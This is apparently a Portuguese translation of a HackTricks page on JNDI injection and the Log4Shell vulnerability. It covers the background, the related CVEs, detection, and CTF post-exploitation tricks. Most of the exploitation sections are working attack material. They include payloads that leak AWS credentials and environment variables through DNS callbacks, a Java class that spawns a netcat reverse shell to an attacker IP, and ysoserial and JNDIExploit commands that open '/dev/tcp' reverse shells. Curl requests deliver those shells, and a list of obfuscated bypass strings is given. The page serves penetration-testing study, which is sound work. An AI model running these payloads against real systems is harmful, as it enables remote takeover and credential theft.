hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

38 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Informações básicas

O JNDI está presente no Java desde o final dos anos 1990. É um serviço de diretório que permite que um programa Java encontre dados por meio de um diretório usando um serviço de nome. Um serviço de nome associa valores (bindings), para que possa ser obtido por meio de sua referência no diretório.

O JNDI possui uma série de interfaces de provedor de serviços (SPIs) que permitem que ele use uma variedade de serviços de diretório. O objetivo do JNDI é obter dados de outros sistemas de forma muito fácil. Você pode até mesmo obter objetos Java remotamente, e é aí que surge um problema.

Por exemplo, existem SPIs para o CORBA COS (Common Object Service), o Java RMI (Remote Method Interface) Registry e o LDAP.

Referência de nome JNDI

Para recuperar Objetos Java, você pode serializá-los e salvar a representação binária. Mas há casos em que isso não funcionará (talvez porque os dados sejam muito grandes ou qualquer outra coisa).
Para salvar Objetos Java de forma mais fácil, são usadas Referências de Nome.
Existem 2 tipos de Referências de Nome:

  • Endereços de Referência: Isso indica o endereço do Objeto (rmi://servidor/ref), então o objeto será recuperado desse endereço.
  • Fábrica Remota: Nesse caso, uma classe de fábrica remota será apontada na referência JNDI, então, seguindo o endereço JNDI, a classe remota será obtida da fábrica remota e a classe será baixada e carregada.

Isso é perigoso porque atacantes podem fazer o sistema carregar objetos arbitrários e executar código arbitrário, portanto, existem algumas proteções:

  • RMI: java.rmi.server.useCodeabseOnly = true por padrão desde o JDK 7u21, caso contrário, permitirá carregar objetos Java personalizados remotamente. Além disso, mesmo que a proteção esteja desativada, um Gerenciador de Segurança é aplicado para configurar o que pode ser carregado.
  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false por padrão desde o JDK 6u141, 7u131, 8u121, e não permitirá a execução de objetos Java arbitrários baixados. Mas se isso for definido como true, permitirá e nenhum Gerenciador de Segurança será aplicado.
  • CORBA: Não há propriedade a ser configurada, mas o Gerenciador de Segurança é sempre aplicado.

Além disso, o Gerenciador de Nomes, aquele que vai seguir os links JNDI, não possui nenhum Gerenciador de Segurança ou propriedade a ser configurada, então sempre tentará obter o objeto.

Como você pode ver, as proteções em geral não são suficientes porque não há proteção contra o carregamento de JNDI de endereços aleatórios e as proteções de RMI, LDAP e CORBA podem ser contornadas (dependendo da configuração) para carregar objetos Java arbitrários ou para carregar objetos Java que abusarão dos componentes existentes na aplicação como gadgets para executar código arbitrário.

Exemplo de URLs para abusar do JNDI:

  • rmi://servidor-do-atacante/bar
  • ldap://servidor-do-atacante/bar
  • iiop://servidor-do-atacante/bar

Exemplo de JNDI

Mesmo que você tenha definido um PROVIDER_URL, você pode indicar um diferente em uma pesquisa e ele será acessado: ctx.lookup("<url-controlada-pelo-atacante>") e é isso que um atacante irá abusar para carregar objetos arbitrários de um sistema controlado por ele.

CORBA

Um Referência de Objeto Interoperável (IOR) é uma referência CORBA ou RMI-IIOP que identifica unicamente um objeto em um servidor CORBA remoto. Os IORs podem estar em formato binário ou representação hexadecimal em string do binário.
Entre outras informações, ele contém o ID do Tipo (um identificador único para uma interface) e o Codebase (local remoto usado para obter a classe stub).
Observe que por padrão, o CORBA não pode ser abusado.
Isso requer:

  • Um Gerenciador de Segurança deve ser instalado
  • A conexão com o codebase controlado pelo atacante deve ser permitida pelo Gerenciador de Segurança. Existem diferentes maneiras de permitir isso:
  • Permissão de soquete: permissions java.net.SocketPermission "*:1098-1099", "connect";
  • Permissão de arquivo permitindo a leitura de todos os arquivos: permission java.io.FilePermission "<<ALL FILES>>", "read";
  • Permissão de arquivo para ler a pasta onde o atacante pode fazer upload dos exploits (classes ou arquivo zip)

Você pode encontrar políticas de fornecedores que permitem isso por padrão.

RMI

Como indicado na seção anterior de Referência de Nome JNDI, por padrão, o RMI não permitirá o download de Classes Java arbitrários. E além disso, mesmo que permita, você precisará burlar as políticas do Gerenciador de Segurança (na seção anterior aprendemos que isso era possível com o CORBA).

LDAP

Primeiro, precisamos distinguir entre uma Pesquisa e uma Consulta.
Uma pesquisa usará uma URL como ldap://localhost:389/o=JNDITutorial para encontrar o objeto JNDITutorial de um servidor LDAP e recuperar seus atributos.
Uma consulta é destinada a serviços de nomes pois queremos obter qualquer coisa vinculada a um nome.

Se a pesquisa LDAP foi invocada com SearchControls.setReturningObjFlag() com true, então o objeto retornado será reconstruído.

Portanto, existem várias maneiras de atacar essas opções.
Um atacante pode envenenar registros LDAP introduzindo payloads neles que serão executados nos sistemas que os coletam (muito útil para comprometer dezenas de máquinas se você tiver acesso ao servidor LDAP). Outra maneira de explorar isso seria realizar um ataque MitM em uma pesquisa LDAP, por exemplo.

Caso você possa fazer um aplicativo resolver uma URL LDAP JNDI, você pode controlar o LDAP que será pesquisado e poderia enviar de volta o exploit (log4shell).

Exploração de deserialização

O exploit é serializado e será desserializado.
Caso trustURLCodebase seja true, um atacante pode fornecer suas próprias classes no codebase, caso contrário, ele precisará abusar de gadgets no classpath.

Exploração de Referência JNDI

É mais fácil atacar esse LDAP usando referências de JavaFactory:

Vulnerabilidade Log4Shell

A vulnerabilidade é introduzida no Log4j porque ele suporta uma sintaxe especial na forma ${prefix:name}, onde prefix é um dos diferentes Lookups onde name deve ser avaliado. Por exemplo, ${java:version} é a versão atual em execução do Java.

No LOG4J2-313, foi adicionado um Lookup jndi da seguinte forma: "O JndiLookup permite que variáveis sejam recuperadas via JNDI. Por padrão, a chave será prefixada com java:comp/env/, no entanto, se a chave contiver um ":" nenhum prefixo será adicionado."

Com um : presente na chave, como em ${jndi:ldap://example.com/a}, não há prefixo e o servidor LDAP é consultado para o objeto. E esses Lookups podem ser usados tanto na configuração do Log4j quanto quando as linhas são registradas.

Portanto, a única coisa necessária para obter RCE é uma versão vulnerável do Log4j processando informações controladas pelo usuário. E como esta é uma biblioteca amplamente usada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos, como o User-Agent. No entanto, o log4j não é usado apenas para registrar informações HTTP, mas qualquer entrada e dados indicados pelo desenvolvedor.

CVEs do Log4Shell

  • CVE-2021-44228 [Crítico]: A vulnerabilidade original 'Log4Shell' é uma falha de desserialização não confiável. Classificada como crítica em gravidade, essa vulnerabilidade recebe uma pontuação de 10 na escala CVSS e concede a capacidade de execução de código remoto (RCE) a atacantes não autenticados, permitindo a tomada completa do sistema.

    Reportado por Chen Zhaojun da Equipe de Segurança da Alibaba Cloud para a Apache em 24 de novembro, o CVE-2021-44228 afeta as configurações padrão de vários frameworks da Apache, incluindo Apache Struts2, Apache Solr, Apache Druid, Apache Flink e outros.

    Sendo a mais perigosa de todas, essa vulnerabilidade se esconde no componente log4j-core, limitado às versões 2.x: da 2.0-beta9 até e incluindo a 2.14.1. Uma correção para o Log4Shell foi lançada na versão 2.15.0, mas considerada incompleta (continue lendo).

    O analista de inteligência de ameaças Florian Roth compartilhou regras Sigma [1, 2] que podem ser usadas como uma das defesas.\
  • CVE-2021-45046 [Crítico, anteriormente Baixo]: Este é uma falha de Negação de Serviço (DoS) com uma pontuação de 3.7 9.0. A falha surgiu como resultado de uma correção incompleta que foi implementada na versão 2.15.0 para o CVE-2021-44228. Embora a correção aplicada ao 2.15.0 tenha resolvido em grande parte a falha, esse não foi exatamente o caso para certas configurações não padrão.

    O Log4j 2.15.0 faz "uma tentativa de melhor esforço" para restringir as consultas JNDI LDAP para _localhost_ por padrão. No entanto, atacantes que têm controle sobre os dados de entrada do Thread Context Map (MDC) podem criar payloads maliciosos por meio dos padrões de Consulta JNDI para causar ataques de DoS. Isso se aplica a configurações não padrão em que um Layout de Padrão não padrão é usado, usando um Context Lookup, por exemplo, $${ctx:loginId}, ou um padrão de Thread Context Map (%X, %mdc ou %MDC).

    A burla retirada deste tweet foi:
    Aqui está um PoC de como burlar as verificações allowedLdapHost e allowedClasses no Log4J 2.15.0 para obter RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} e para burlar allowedClasses, basta escolher um nome para uma classe no JDK. A desserialização ocorrerá normalmente.
    __
    __"A versão 2.16.0 do Log4j corrige esse problema removendo o suporte a padrões de busca de mensagens e desabilitando a funcionalidade JNDI por padrão", afirma o aviso do NVD. Para aqueles na versão 2.12.1, uma correção foi retroportada para a versão 2.12.2.\
  • CVE-2021-4104 [Alto]: Nós dissemos que as versões do Log4j 2.x eram vulneráveis? E o Log4j 1.x?

    Embora anteriormente considerado seguro, o Log4Shell encontrou uma maneira de se esconder no Log4j mais antigo também. Essencialmente, configurações não padrão de instâncias do Log4j 1.x usando a classe _JMSAppender_** também se tornam suscetíveis à falha de desserialização não confiável**.

    Embora seja uma variante menos grave do CVE-2021-44228, essa CVE afeta todas as versões dos componentes log4j:log4j e org.apache.log4j:log4j para os quais existem apenas lançamentos 1.x. Como essas são versões fora de suporte, uma correção para a versão 1.x não existe em nenhum lugar, e você deve fazer upgrade para o log4j-core 2.17.0. (Aparentemente, a versão 1.0 não é vulnerável).\
  • CVE-2021-42550 [Moderado]: Essa é uma vulnerabilidade no framework de registro Logback. Sucessor da biblioteca Log4j 1.x, o Logback afirma continuar de onde o log4j 1.x parou.

    Até a semana passada, o Logback também se gabava de ser "não relacionado ao log4j 2.x, [logback] não compartilha suas vulnerabilidades".

    Essa suposição rapidamente desapareceu quando o CVE-2021-4104 foi descoberto como impactando também o Log4j 1.x, e a possibilidade de impacto potencial no Logback foi avaliada. Novas versões do Logback, 1.3.0-alpha11 e 1.2.9, que abordam essa vulnerabilidade menos grave, foram lançadas released.\
  • CVE-2021-45105 [Alto]: Descobriu-se que o Log4j 2.16.0 é vulnerável a uma falha de DoS classificada como 'Alta' em gravidade. A Apache lançou uma versão 2.17.0 do log4j para corrigir o CVE. Mais detalhes sobre esse desenvolvimento são fornecidos no último relatório do BleepingComputer.
  • CVE-2021-44832: Essa nova CVE afeta a versão 2.17 do log4j. Essa vulnerabilidade requer que o atacante controle o arquivo de configuração do log4j, pois é possível indicar uma URL JDNI em um JDBCAppender configurado. Para obter informações sobre a vulnerabilidade e exploração, leia esta informação.

Exploração do Log4Shell

Descoberta

Essa vulnerabilidade é muito fácil de descobrir, pois ela enviará pelo menos uma solicitação DNS para o endereço que você indicar em sua carga útil. Portanto, cargas úteis como:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (usando canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (usando interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (usando Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (usando dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} usando (usando huntress)

Observe que mesmo que uma solicitação DNS seja recebida, isso não significa que a aplicação seja explorável (ou mesmo vulnerável), você precisará tentar explorá-la.

{% hint style="info" %} Lembre-se de que, para explorar a versão 2.15, você precisa adicionar a burla de verificação de localhost: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Descoberta Local

Procure por versões locais vulneráveis da biblioteca com:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verificação

Algumas das plataformas listadas anteriormente permitirão que você insira alguns dados variáveis que serão registrados quando forem solicitados.
Isso pode ser muito útil para 2 coisas:

  • Verificar a vulnerabilidade
  • Exfiltrar informações abusando da vulnerabilidade

Por exemplo, você poderia solicitar algo como:
ou como ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} e se uma solicitação DNS for recebida com o valor da variável de ambiente, você saberá que a aplicação é vulnerável.

Outras informações que você poderia tentar vazar:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Informações sobre RCE

{% hint style="info" %} Os hosts que executam versões do JDK superiores a 6u141, 7u131, 8u121 estarão protegidos contra o vetor de carregamento de classe LDAP, MAS NÃO contra o vetor de desserialização. Isso ocorre porque com.sun.jndi.ldap.object.trustURLCodebase está desativado por padrão, portanto, o JNDI não pode carregar um código remoto usando LDAP. No entanto, devemos ressaltar que a desserialização e vazamentos de variáveis ainda são possíveis.
Isso significa que, para explorar as versões mencionadas, você precisará abusar de algum gadget confiável que exista na aplicação Java (usando ysoserial ou JNDIExploit, por exemplo). Mas para explorar versões mais baixas, você pode fazer com que elas carreguem e executem classes arbitrariamente (o que torna o ataque mais fácil).

Para mais informações (como limitações nos vetores RMI e CORBA), verifique a seção de Referência de Nomes JNDI anterior ou https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec com payload personalizado

Este truque é totalmente retirado da caixa THM: https://tryhackme.com/room/solar__

Para esse exploit, a ferramenta marshalsec (faça o download de uma versão jar aqui) será usada para criar um servidor de referência LDAP para direcionar conexões para nosso servidor HTTP secundário, onde o exploit será servido:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Queremos que a vítima carregue o código que nos enviará um shell reverso, então você pode criar um arquivo java chamado Exploit.java com o seguinte conteúdo:

{% code title="" %}

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

{% endcode %}

Crie o arquivo de classe executando: javac Exploit.java -source 8 -target 8 e em seguida execute um servidor HTTP no mesmo diretório em que o arquivo de classe foi criado: python3 -m http.server.
O servidor LDAP do marshalsec deve estar apontando para este servidor HTTP.
Em seguida, você pode fazer com que o servidor web vulnerável execute a classe de exploit enviando um payload como:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

RCE - JNDIExploit

{% hint style="info" %} Observe que, se o Java não estiver configurado para carregar um código remoto usando o LDAP, esse exploit personalizado não funcionará. Nesse caso, você precisa abusar de uma classe confiável para executar código arbitrário. {% endhint %}

Para este exemplo, você pode simplesmente executar este servidor web vulnerável ao log4shell na porta 8080: https://github.com/christophetd/log4shell-vulnerable-app (no README você encontrará como executá-lo). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP X-Api-Version.

Em seguida, você pode baixar o arquivo jar do JNDIExploit e executá-lo com:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Depois de ler o código por apenas alguns minutos, em com.feihong.ldap.LdapServer e com.feihong.ldap.HTTPServer, você pode ver como os servidores LDAP e HTTP são criados. O servidor LDAP entenderá qual payload precisa ser servido e redirecionará a vítima para o servidor HTTP, que servirá o exploit.
Em com.feihong.ldap.gadgets, você pode encontrar alguns gadgets específicos que podem ser usados para executar a ação desejada (potencialmente executar código arbitrário). E em com.feihong.ldap.template, você pode ver as diferentes classes de modelo que gerarão os exploits.

Você pode ver todos os exploits disponíveis com java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Alguns úteis são:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Então, no nosso exemplo, já temos o aplicativo vulnerável em execução no Docker. Para atacá-lo:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Ao enviar os ataques, você verá alguma saída no terminal onde executou JNDIExploit-1.2-SNAPSHOT.jar.

Lembre-se de verificar java -jar JNDIExploit-1.2-SNAPSHOT.jar -u para outras opções de exploração. Além disso, caso precise, você pode alterar a porta dos servidores LDAP e HTTP.

RCE - JNDI-Exploit-Kit

De maneira semelhante ao exploit anterior, você pode tentar usar o JNDI-Exploit-Kit para explorar essa vulnerabilidade.
Você pode gerar as URLs para enviar à vítima executando:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a sala solar do THM. No entanto, isso geralmente não funcionará (porque por padrão o Java não está configurado para carregar um código remoto usando LDAP), acredito que porque não está abusando de uma classe confiável para executar código arbitrário.

RCE - ysoserial & JNDI-Exploit-Kit

Essa opção é realmente útil para atacar versões do Java configuradas para confiar apenas em classes especificadas e não em todos. Portanto, ysoserial será usado para gerar serializações de classes confiáveis que podem ser usadas como gadgets para executar código arbitrário (a classe confiável abusada pelo ysoserial deve ser usada pelo programa Java da vítima para que o exploit funcione).

Usando ysoserial ou ysoserial-modified, você pode criar o exploit de deserialização que será baixado pelo JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Use JNDI-Exploit-Kit para gerar links JNDI onde o exploit estará aguardando conexões das máquinas vulneráveis. Você pode servir diferentes exploits que podem ser gerados automaticamente pelo JNDI-Exploit-Kit ou até mesmo seus próprios payloads de deserialização (gerados por você ou pelo ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Agora você pode facilmente usar um link JNDI gerado para explorar a vulnerabilidade e obter um shell reverso apenas enviando para uma versão vulnerável do log4j: ${ldap://10.10.14.10:1389/generated}

Bypasses

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Scanners Automáticos

Laboratórios para testar

Pós-Exploração do Log4Shell

Neste writeup do CTF é bem explicado como é potencialmente possível abusar algumas funcionalidades do Log4J.

A página de segurança do Log4j possui algumas frases interessantes:

A partir da versão 2.16.0 (para Java 8), a funcionalidade de busca de mensagens foi completamente removida. As buscas na configuração ainda funcionam. Além disso, o Log4j agora desabilita o acesso ao JNDI por padrão. As buscas do JNDI na configuração agora precisam ser habilitadas explicitamente.

A partir da versão 2.17.0 (e 2.12.3 e 2.3.1 para Java 7 e Java 6), apenas as strings de busca na configuração são expandidas recursivamente; em qualquer outro uso, apenas a busca de nível superior é resolvida e quaisquer buscas aninhadas não são resolvidas.

Isso significa que por padrão você pode esquecer o uso de qualquer exploit jndi. Além disso, para realizar buscas recursivas, você precisa tê-las configuradas.

Por exemplo, nesse CTF isso foi configurado no arquivo log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Pesquisas de Ambiente

Neste CTF, o atacante controlava o valor de ${sys:cmd} e precisava extrair a flag de uma variável de ambiente.
Como visto nesta página em cargas anteriores, existem diferentes maneiras de acessar variáveis de ambiente, como: ${env:FLAG}. Neste CTF, isso foi inútil, mas pode não ser em outros cenários da vida real.

Exfiltração em Exceções

No CTF, você não conseguia acessar o stderr do aplicativo Java usando o log4J, mas as exceções do Log4J são enviadas para stdout, que foi impresso no aplicativo Python. Isso significava que, ao disparar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: ${java:${env:FLAG}}. Isso funciona porque ${java:CTF{blahblah}} não existe e uma exceção com o valor da flag será mostrada:

Padrões de Conversão em Exceções

Apenas para mencionar, você também pode injetar novos padrões de conversão e disparar exceções que serão registradas em stdout. Por exemplo:

Isso não foi útil para extrair dados dentro da mensagem de erro, porque a pesquisa não foi resolvida antes do padrão de conversão, mas pode ser útil para outras coisas, como detecção.

Regexes de Padrões de Conversão

No entanto, é possível usar alguns padrões de conversão que suportam regexes para extrair informações de uma pesquisa usando regexes e abusando de comportamentos de busca binária ou baseados em tempo.

  • Busca binária por meio de mensagens de exceção

O padrão de conversão %replace pode ser usado para substituir conteúdo de uma string mesmo usando regexes. Funciona assim: replace{pattern}{regex}{substitution}
``Abusando desse comportamento, você pode fazer com que o replace dispare uma exceção se o regex corresponder a qualquer coisa dentro da string (e nenhuma exceção se não for encontrada), assim:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Baseado em tempo

Como mencionado na seção anterior, %replace suporta regexes. Portanto, é possível usar um payload da página ReDoS para causar um timeout caso a flag seja encontrada.
Por exemplo, um payload como %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} causaria um timeout nesse CTF.

Neste writeup, em vez de usar um ataque ReDoS, foi usado um ataque de amplificação para causar uma diferença de tempo na resposta:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Se a flag começar com flagGuess, a flag inteira será substituída por 29 #-s (usei esse caractere porque provavelmente não faria parte da flag). Cada um dos 29 #-s resultantes é então substituído por 54 #-s. Esse processo é repetido 6 vezes, resultando em um total de 29*54*54^6* =`` ``96816014208 #-s!

Substituir tantos #-s acionará o timeout de 10 segundos da aplicação Flask, o que resultará no código de status HTTP 500 sendo enviado ao usuário. (Se a flag não começar com flagGuess, receberemos um código de status não-500)

Referências

Encontre as vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥